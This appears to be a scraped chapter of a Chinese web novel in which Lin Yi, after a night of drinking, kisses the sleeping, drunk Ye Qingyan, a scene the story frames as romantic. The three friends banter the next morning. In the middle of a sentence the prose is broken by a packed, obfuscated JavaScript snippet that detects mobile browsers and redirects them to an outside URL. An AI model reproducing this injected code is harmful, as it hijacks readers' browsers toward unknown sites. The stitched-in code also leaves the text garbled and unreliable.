地底的火龙烧得整个屋子如春般温暖,残留屋内的酒香在蒸腾的空气中漫开,林翊突然就感觉那已经下去的酒意又重新涌了上来,他控制不住地低头朝叶青言靠去。 越靠越近…… “水,我要喝水。” 就在这时,沈昭嘟嘟囔囔的声音突兀地传进林翊的耳朵里。 林翊的身体顿时变得无比僵硬,他保持着弯腰的姿势怔怔了很长时间,才终于压住心中不安慢慢转过头。 沈昭闭着眼睛,虽嘴里喃喃着要喝水,却没有半点要醒的意思。 林翊松了口气。 这死孩子!吓死他了! “我要喝水!快给我水……”沈昭还在嘀咕。 林翊无法,只能先起身倒水,动作并不如何温柔地喂给沈昭。 茶水润喉,沈昭却是吐了出来:“冷的,我不要!” 林翊震惊,林翊不可置信。 不是睡着了吗?怎么还嫌弃上了?莫非没睡?是耍自己玩的? “淮之。”林翊推了推沈昭。 沈昭没有睁眼,不耐烦地哑声嚷嚷:“快给小爷倒水!不然让我爹打你板子!” 林翊一怔,随即眼里迸出愠怒,好啊,这是发酒疯发到我头上来了。 沈淮之此人,脾气好,好说话,唯有一种时候例外。 那就是醉酒之后。 酒过七成,脾气就上来了,脾气一上来,性子也跟着上了来,这时候的他比任何人都要难伺候。 这点与他同穿一条裤子长大的林翊十分清楚。 都是自家兄弟,他喝醉了,别跟他一般见识。林翊如是自我安慰,然后从旁边一直温着的茶壶里倒了一杯热茶。 谁知刚喂过去,就遭到沈昭激烈的拒绝:“想烫死谁呢?” 忍一忍就过去了!林翊闭了闭眼,往热茶里添些冷水,再次欲喂。 可沈昭却像是被烫怕了似的,死活不肯张嘴。 林翊只能哄着,骗着:“乖,现在不烫了。” “真的?” “真的。” 沈昭张嘴,一个喂一个喝,一杯茶水,一小半进了肚子,一小半喂了鼻子,一大半喂了下巴。 沈昭大怒拍桌:“你会不会喂水!这么简单的事情都做不好,罚你明天不许吃饭!” 说罢又趴了回去。 林翊沉着脸一动不动,他已经累一天了,实在没力气再跟个醉鬼折腾,沉吟半秒,林翊直接把茶盅里的茶水一倒,另再倒了杯酒,想也不想地直接给沈昭灌下。 既然没有醉死那就再喝一杯吧!免得还能闹腾! 可怜沈小侯爷,彻底醉死了过去。 给沈昭灌完了酒,又贴心地找了条毯子给人盖上,林翊这才走回罗汉床。 看着床上安安静静睡觉的叶青言,林翊想了想,回去桌边,拿新杯子倒了杯温度刚刚好的茶水再重新走回。 为了确保茶水温度刚刚好,林翊还亲自先喝了一口。 这茶可是要喂给阿言的,当然不能烫到她。 林翊毫不掩饰自己对叶青言的偏心,他甚至已经想好了要怎么温柔地给叶青言喂水。 要是阿言也和淮之一样闹腾,不肯好好喝水,他也会换个更平和效率的方法喂她。 林翊在脑海将怎么温和喂水的方法想了又想,脸都想红了。 然而却没有派上用场。 叶青言乖得不行,给水就喝,不给也不闹,便是喂到一半时恶意将杯子拿走,她也只是嘟囔着伸出微湿的舌尖舔舔唇角,像孩子一般天真,主打一个好伺候。 林翊眸色幽深,借着此刻,他肆无忌惮的“戏弄”起人来,看着对方随着自己的动作做出自己想要的反应,林翊满足极了。 柔软的小舌不时探出口腔,这画面对林翊而言是很大的诱惑。 他勉励忍耐,最终还是没有忍住诱惑,低头将眼前花瓣般的嘴唇含了住,柔软的触感顿时通便全身,林翊只感头皮发麻。 甘甜柔软,原来这就是阿言的味道,仿佛深山中的甘泉一般清冽迷人,让人欲罢不能。 林翊几乎本能地辗转厮磨起来。 朝思暮想多时,愿望成真的这一刻,林翊十分激动,以至握杯的手都有些发抖,心脏不住地砰砰乱跳。 不知亲了多久,林翊发现胸口很痛,待回过神来,才发现原来自己刚刚一直忘了呼吸。 真是丢人。林翊忍不住捂脸。 不要紧,这是第一次,以后多学学就会的。林翊迷迷糊糊地想。 屋里温暖如春,浓郁的酒香久久不散,几欲令人沉醉其中。林翊好不容易清醒的大脑,渐渐沉醉在了酒香之中,他侧躺在叶青言身边,本能地将人搂进怀里,昏沉睡去。 一夜就此过去。 暗色渐渐消退,东方天际出现一抹橙黄,晨光就这样突兀地来到人间。 叶青言醒的时候,感觉自己睡在一个暖烘烘的怀抱里。 起初她并未多想,还因为宿醉揉了会儿太阳穴,可当她意识逐渐清晰,萦绕鼻尖那股既陌生又熟悉的沉香越来越不容忽略时,她才终于意识到不对劲。 她颤巍巍地睁开眼,映入眼帘的,是一张熟悉的脸。 林翊的脸。 男人的唇此时就在她的鼻子上方,呼出的气息尽数喷在她的脸上,微有些痒。 叶青言先是呆愣,而后吓得脸都白了,几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290799|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是瞬间便从林翊的怀抱中挣脱出来。 清晨的花厅很安静,一丝风也没有,可叶青言的耳里却仿有风声鹤唳。 直到她发现两人身上的衣裳齐齐整整,一件也没有不缺时,才稍稍放下心来。 叶青言没有马上下床,她睁着大大的眼睛,环顾室内狼藉,想着昨晚发生的事情。 昨晚她为了躲避共眠,特意哄骗殿下两人喝酒。 然后她自己也醉了…… 再然后呢? 叶青言的记忆有些混乱,要说全然不记得吧,又还隐约能想起一些,可总觉得不太真实,似乎是她自己爬上的罗汉床,可她隐约记得自己是躺在角落的,并没有去到殿下身边…… 无论如何,自己昨晚并没有做什么暴露身份的事情,如此便好。 想到这里,叶青言彻底地放下心来。 喝酒误事,以后断不能再这般不知节制了。叶青言暗暗告诫自己。 这时林翊也睁眼醒了过来。 四目相对。 纵使叶青言内心翻江倒海,脸上却还是做出十分淡定的神情:“您醒了。” 林翊对眼前的情况没有任何意外,他小小地打了个哈欠,说:“时间还早,阿言你怎么不多睡会儿?” “我睡不着了。”叶青言说,他看着林翊,状似不经意问道,“我怎么会睡您旁边去的?” “当然是我给你抱出来的。”林翊出口的尾音上挑,沙哑中带着惺忪睡意的慵懒,“你昨晚喝多了,将自己可怜兮兮地挤在那边角落里,那样睡一夜,醒来会不舒服的。” 叶青言抿了抿唇,她斟酌着用词,然不等她再次开口,就听屋里另一个人道:“缩着睡一夜会不舒服,那我趴桌上睡一夜就不会不舒服?” 沈昭冷飕飕的声音突然响起。 两人循声望去,便见对方顶着一张宿醉的脸,黑眸直勾勾地盯着林翊,眼底满是控诉。 林翊呵呵一笑:“自己喝醉了是个什么德行,你没点数?” 沈昭一噎:“那你也不能就这样把我扔桌子上。” “我没扔你,是你自己趴那的。” “那你就不能把我也抱床上去睡?” “罗汉床就这么大,躺了我和阿言,哪还有第三人的位置。”林翊说着,从罗汉床上坐起示意。 沈昭闻言,气笑不得,抓着手边喝空的茶盏就扔了过去。 林翊轻松接住,在手里转圈玩着:“难道你要我将阿言丢下去?” 顿了顿,林翊又说:“你就算你想,我也不会去做。” 沈昭:“我才没有那么想!” 林翊摊手:“那不就得了。” …… 看着面前笑闹的两人,叶青言忽然就觉得自己刚刚想要追究的事情都不重要。 她轻笑着叹了口气,转头推开身后窗户,和风吹入,她看到了院中迎春。 那迎春花不知何时,竟悄然绽放开了。 渐渐和暖的风吹得人眉间舒展。 如此这般,可真好啊。 “阿言。”林翊突然叫了一声。 叶青言转眸望了过去。 林翊一脸严肃地看着她,说道:“你平日是不是没有好好吃饭?” 叶青言疑惑,她哪里就没有好好吃饭了? 林翊站起身,上下打量了叶青言一番:“你这两年都没怎么长个,身高还是跟两年前一样,我看你就是平日里吃得太少了,一直这样可不行,得好好补补,还有,便是不在学宫了,你的武学课也不能落下,总感觉你现在的身子骨不大结实的样子。” 沈昭闻言也道:“对对对,我昨天拉了下阿言的手,细细的,软软的,感觉一捏就会碎!虽说你走的文人路线,可也不能做那等手无缚鸡之力的读书人啊!” 听到沈昭说拉了下叶青言的手,林翊没忍住瞪了他一眼。 沈昭眨眼:“你瞪我做什么?难道我说错了?” 林翊:“没有,你说的很对。”顿了顿,林翊又说,“我没瞪你,只是觉得你所得对,所以看了你一眼。” 沈昭骄傲地昂了昂头:“这还差不多,阿言你听到了没有。” 叶青言有些心虚地扯了扯嘴角,道:“听到了,我会好好吃饭,好好锻炼的。”